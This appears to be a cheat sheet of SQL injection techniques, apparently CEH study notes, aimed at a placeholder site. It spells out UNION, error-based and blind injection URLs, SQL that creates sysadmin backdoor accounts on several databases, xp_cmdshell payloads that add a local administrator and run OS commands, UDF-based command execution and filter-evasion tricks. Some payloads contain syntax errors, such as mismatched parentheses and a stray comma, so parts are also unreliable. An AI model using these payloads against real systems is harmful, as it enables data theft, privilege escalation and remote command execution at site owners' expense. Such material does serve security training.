SQL Injection :

Perform UNION SQL Injection

1. Extract Database :
    http://www.certifiedhacker.com/page.aspx?id= 1 UNION SELECT ALL 1, DB_NAME, 3, 4 --
    [DB_NAME] Returned from the server

2. Extract Database Tables :
    http://www.certifiedhacker.com/page.aspx?id= 1 UNION SELECT ALL 1, TABLE_NAME, 3,4 FROM sysobjects WHERE xtype=char(85) --
    [EMPLOYEE_TABLE] Returned From The Server

3. Extract Table Columns Names:
    http://www.certifiedhacker.com/page.aspx?id= 1 UNION SELECT ALL 1, COLUMN_NAME, 3,4 FROM DB_NAME.information_schema.columns WHERE TABLE_NAME='EMPLOYEE_TABLE' --
    [EMPLOYEE_NAME] is returned from the server

4. Extract First Data Field :
    http://www.certifiedhacker.com/page.aspx?id= 1 UNION SELECT ALL 1, Column-Name-1, 3, 4, FROM EMPLOYEE_NAME --
    [FIELD-1_VALUE] Returned from the Server

Perform Error Based SQL Injection :

1. Extract Database Name :
    http://www.certifiedhacker.com/page.aspx?id= 1 or 1=convert(int,(DB_NAME))--
    Syntax error converting the nvchar value [DB_NAME] to a column of data type int

2. Extract 1st Database Table :
    http://www.certifiedhacker.com/page.aspx?id= 1 or 1=convert(int, (SELECT TOP 1 NAME FROM sysobjects WHERE xtype=char(86)))--
    Syntax error converting the nvchar value '[TABLE_NAME]' to a column of data type int

3. Extract 1st Column Name :
    http://www.certifiedhacker.com/page.aspx?id= 1 or 1=convert(int, (SELECT TOP 1 COLUMN_NAME FROM DB_NAME.information_schema.columns WHERE TABLE_NAME = 'TABLE-NAME-1'))--
    syntax error converting the nvchar value 'COLUMN_NAME-1' to column to data type int

4. Extract 1st Field of 1st Row (DATA) :
    http://www.certifiedhacker.com/page.aspx?id= 1 or 1=convert(int, (SELECT TOP 1 COLUMN-NAME-1 FROM TABLE-NAME-1))--
    syntax error converting the nvchar value '[FIELD-1 VALUE]' to a column of data type int

Blind SQL Injection : Extract Database User

1. Check for username length :
    http://www.certifiedhacker.com/page.aspx?id=1; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--

2. Check 1st Character in the username contains 'A'(a=97) and so on
    http://www.certifiedhacker.com/page.aspx?id=1; IF(ASCII(lower(substring(USER),1,1)))=97) WAITFOR DELAY '00:00:10'--
    http://www.certifiedhacker.com/page.aspx?id=1; IF(ASCII(lower(substring(USER),2,1)))=97) WAITFOR DELAY '00:00:10'--
    and so on ....

Creating Database accounts :

1. Microsoft SQL Server :
    exec sp_addlogin 'victor', 'Pass123'
    exec sp_addsrvrolemember 'victor', 'sysadmin'

2. Oracle :
    CREATE USER victor IDENTIFIED BY Pass123

```
TEMPORARY TABLESPACE temp
DEFAULT TABLESPACE users;
GRANT CONNECT TO victor;
GRANT RESOURCE TO victor;
```

3. Microsoft Access :

```
CREATE USER victor
IDENTIFIED BY 'Pass123'
```

4. MySQL :

```
INSERT INTO mysql.user (user, host, password)
VALUES ('victor', 'localhost',PASSWORD('Pass123'))
```

5. '; exec master..xp_cmdshell "net localgroup administrators hacker /add";--

Interacting with OS :

There are two ways to interact with the OS :

1. Reading and writing system from the disk
2. Direct command execution via remote Shell

MSSQL OS Interaction :

'; exec master..xp_cmdshell 'ipconfig > test.txt'--
'; CREATE TABLE tmp (txt varchar(8000)); BULK INSERT tmp FROM 'test.txt'
'; begin declare @data varchar(8000); set @data='| '; SELECT @data=@data+txt+' | ' from tmp where txt<@data; select @data as x into tmp end --
' and 1 in (select substring (x,1,256) from tmp) --
'; declare @var sysname; set @var = 'del test.txt'; EXEC master..xp_cmdshell @var ; drop table tmp; drop table tmp --

MySQL OS Interaction :

CREATE FUNCTION sys_exec RETURNS int soname 'libudffmwgj.dll';
CREATE FUNCTION sys_eval RETURNS int soname 'libudffmwgj.dll';

Both methods are restricted by the databases's running privileges and permissions

Interacting with the file System :

1. LOAD_FILE()

The LOAD_FILE function with MySQL is used to read and return the contents of a file located within the MySQL Server

2. LOAD_OUTFILE() :

The OUTFILE Function with in MySQL is often used to run a query and dump the results into a file

Evasion of Antivirus :

1. In-Line Comments : /*...*/ is used in sql to delimit multi-row comments
2. Char Encoding : The Char() function can be used to inject SQL Injection statement into MySQL without using double quotes
3. String Concatenation : Split Instruction to avoid signature detection using execution commands that allows for the concatenation of text in a database server.
4. Obfuscated Code
5. Manipulating White Spaces
6. Hex Encoding
7. Sophisticated Matches
8. URL Encoding : ASCII Code in Hexa Decimal Form
9. NULL Byte : The Attacker uses a null byte (%00) character prior to a string to bypass the detection mechanism
10. Case Variation : Upper Lowercase variation
11. Declaring the variables
12. IP Fragmentations